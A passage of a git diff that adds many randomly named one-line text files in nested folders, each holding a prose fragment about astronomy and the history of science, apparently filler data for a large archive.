+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_ahyiayxavyucirguhgtuj.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_bigoujsfvjpzwcchijdempo.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_bigoujsfvjpzwcchijdempo.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_bigoujsfvjpzwcchijdempo.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_eygmcjxjjy.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_eygmcjxjjy.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_eygmcjxjjy.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_fbkukzbxcdmqapzqgijpim.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_fbkukzbxcdmqapzqgijpim.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_fbkukzbxcdmqapzqgijpim.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gasbbwihkhpsnvfckfpqz.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gasbbwihkhpsnvfckfpqz.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gasbbwihkhpsnvfckfpqz.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gchaywrwkuoue.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gchaywrwkuoue.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_gchaywrwkuoue.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huephcbihyfi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huephcbihyfi.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huephcbihyfi.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huykstxmqk.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huykstxmqk.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_huykstxmqk.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_jefyazefpg.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_jefyazefpg.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_jefyazefpg.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_leqpuctcfbbazoxm.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_leqpuctcfbbazoxm.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_leqpuctcfbbazoxm.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_mjilbkclubmgpscdwhptloi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_mjilbkclubmgpscdwhptloi.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_mjilbkclubmgpscdwhptloi.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_nooqmxdgztvc.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_nooqmxdgztvc.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_nooqmxdgztvc.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_oyuutmdpuvlcgmlkkokicso.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_oyuutmdpuvlcgmlkkokicso.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_oyuutmdpuvlcgmlkkokicso.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_qbbvedqvzevfixssq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_qbbvedqvzevfixssq.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_qbbvedqvzevfixssq.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_quzqupiyvohzq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_quzqupiyvohzq.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_quzqupiyvohzq.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_sdetgsbxdirccx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_sdetgsbxdirccx.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_sdetgsbxdirccx.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_thlkspharithpmiwksm.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_thlkspharithpmiwksm.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_thlkspharithpmiwksm.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_tykagutkazcuf.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_tykagutkazcuf.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_tykagutkazcuf.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_vhedverds.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_vhedverds.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_vhedverds.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_wzcacafmnmkisejsshrjh.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_wzcacafmnmkisejsshrjh.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_wzcacafmnmkisejsshrjh.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zsulfcbx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zsulfcbx.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zsulfcbx.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zxfikxhrdtomebdroijfdi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zxfikxhrdtomebdroijfdi.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_zxfikxhrdtomebdroijfdi.txt
@@ -0,0 +1 @@
+we are observing it, and the more likely it is that we should see it as a quasar. Indeed, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/fybezjlbadyrzl.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/fybezjlbadyrzl.txt
new file mode 100644
index 0000000..7a66a27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/fybezjlbadyrzl.txt
@@ -0,0 +1 @@
+maintain their haunting power to this day.* For all of our history, there has been the fear, or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/jzmezdicovjepawfyiiwgdgp.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/jzmezdicovjepawfyiiwgdgp.txt
new file mode 100644
index 0000000..56867ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/jzmezdicovjepawfyiiwgdgp.txt
@@ -0,0 +1 @@
+are.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/mkzjeqtaxdywnwhgepfrqchk.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/mkzjeqtaxdywnwhgepfrqchk.txt
new file mode 100644
index 0000000..79c93a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/mkzjeqtaxdywnwhgepfrqchk.txt
@@ -0,0 +1 @@
+they are not characteristically human. Many other animals have feelings. What
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ncbqplinebkoykfyvflszmga.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ncbqplinebkoykfyvflszmga.txt
new file mode 100644
index 0000000..e00cc0e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ncbqplinebkoykfyvflszmga.txt
@@ -0,0 +1 @@
+testimony of a previous age of the destruction of worlds, now billions of years gone.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/oqyceirlnsyeynjn.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/oqyceirlnsyeynjn.txt
new file mode 100644
index 0000000..a762506
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/oqyceirlnsyeynjn.txt
@@ -0,0 +1 @@
+colleagues and we think it likely that these high winds caught the Mars 3 spacecraft with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/psmvpvvuswrexbipjzjhb.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/psmvpvvuswrexbipjzjhb.txt
new file mode 100644
index 0000000..67b20f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/psmvpvvuswrexbipjzjhb.txt
@@ -0,0 +1 @@
+Moon,’ which is entirely correct. Of course, he did not get everything right. He believed,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/pyyochfglhgbif.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/pyyochfglhgbif.txt
new file mode 100644
index 0000000..c97a64f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/pyyochfglhgbif.txt
@@ -0,0 +1 @@
+have lingered long enough on the shores of the cosmic ocean. We are ready at last to set
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qarkqgboj.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qarkqgboj.txt
new file mode 100644
index 0000000..897cbd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qarkqgboj.txt
@@ -0,0 +1 @@
+having unusual ideas. A portrait of Democritus is now on the Greek hundred-drachma bill.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qlivcxwciet.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qlivcxwciet.txt
new file mode 100644
index 0000000..e14afc0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qlivcxwciet.txt
@@ -0,0 +1 @@
+same distance from any star. This is why the star patterns in a given constellation do not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qntmskfjzstv.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qntmskfjzstv.txt
new file mode 100644
index 0000000..3d1ecf1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/qntmskfjzstv.txt
@@ -0,0 +1 @@
+There was not much room for events to happen in.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rbsamcirjkomehb.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rbsamcirjkomehb.txt
new file mode 100644
index 0000000..b4ba9cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rbsamcirjkomehb.txt
@@ -0,0 +1 @@
+laboratory measurements. To approach the particles in a space vehicle, we must slow down,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rctqcwjjpsan.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rctqcwjjpsan.txt
new file mode 100644
index 0000000..8bc3b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rctqcwjjpsan.txt
@@ -0,0 +1 @@
+universal order of things than any of the schemes which have been accepted by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rqqphrdetjkfvn.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rqqphrdetjkfvn.txt
new file mode 100644
index 0000000..f38505d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/rqqphrdetjkfvn.txt
@@ -0,0 +1 @@
+admitting an intense dose of solar ultraviolet radiation.* The increased ultraviolet flux
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/tgyviztsqkw.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/tgyviztsqkw.txt
new file mode 100644
index 0000000..9da1b4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/tgyviztsqkw.txt
@@ -0,0 +1 @@
+associative image like the Man in the Moon. He pictures the near contact of southern Spain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yawayyezxpcgu.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yawayyezxpcgu.txt
new file mode 100644
index 0000000..f4a24a0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yawayyezxpcgu.txt
@@ -0,0 +1 @@
+bright galaxy and a much more distant quasar, each having very different red shifts and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yzrutohmvwodfcldkemjxipb.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yzrutohmvwodfcldkemjxipb.txt
new file mode 100644
index 0000000..c714283
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/yzrutohmvwodfcldkemjxipb.txt
@@ -0,0 +1 @@
+to measure the height of a pyramid from the length of its shadow and the angle of the Sun
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/zbxhwswqh.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/zbxhwswqh.txt
new file mode 100644
index 0000000..96b49de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/zbxhwswqh.txt
@@ -0,0 +1 @@
+hunting. Hunters are fast and maneuverable. They eat the floaters both for their organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_ahsittcdscmnlxshvai.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_ahsittcdscmnlxshvai.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_ahsittcdscmnlxshvai.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_apkwlizbrwifbidvyyntwzqw.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_apkwlizbrwifbidvyyntwzqw.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_apkwlizbrwifbidvyyntwzqw.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_ayskksthqghsjtiupvzzc.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_ayskksthqghsjtiupvzzc.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_ayskksthqghsjtiupvzzc.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_dyqbfxbszkfzovsqiebes.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_dyqbfxbszkfzovsqiebes.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_dyqbfxbszkfzovsqiebes.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_flqpupcnvvtxh.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_flqpupcnvvtxh.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_flqpupcnvvtxh.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_gcjraajx.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_gcjraajx.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_gcjraajx.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_hbtjqvbwjsdpzzz.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_hbtjqvbwjsdpzzz.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_hbtjqvbwjsdpzzz.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_ikndxculxqqtuugololx.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_ikndxculxqqtuugololx.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_ikndxculxqqtuugololx.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_jgzabixtaqohohiawmcag.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_jgzabixtaqohohiawmcag.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sowfjtixdy/file_jgzabixtaqohohiawmcag.txt
@@ -0,0 +1 @@
+in the Mariner, Viking and Voyager expeditions to the planets, for which he received the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sowfjtixdy/file_kegostll.txt b/big_zip/big-zip-files/folder_sowfjtixdy/file_kegostll.txt
new file mode 100644
index 0000000..c076286
--- /dev/null
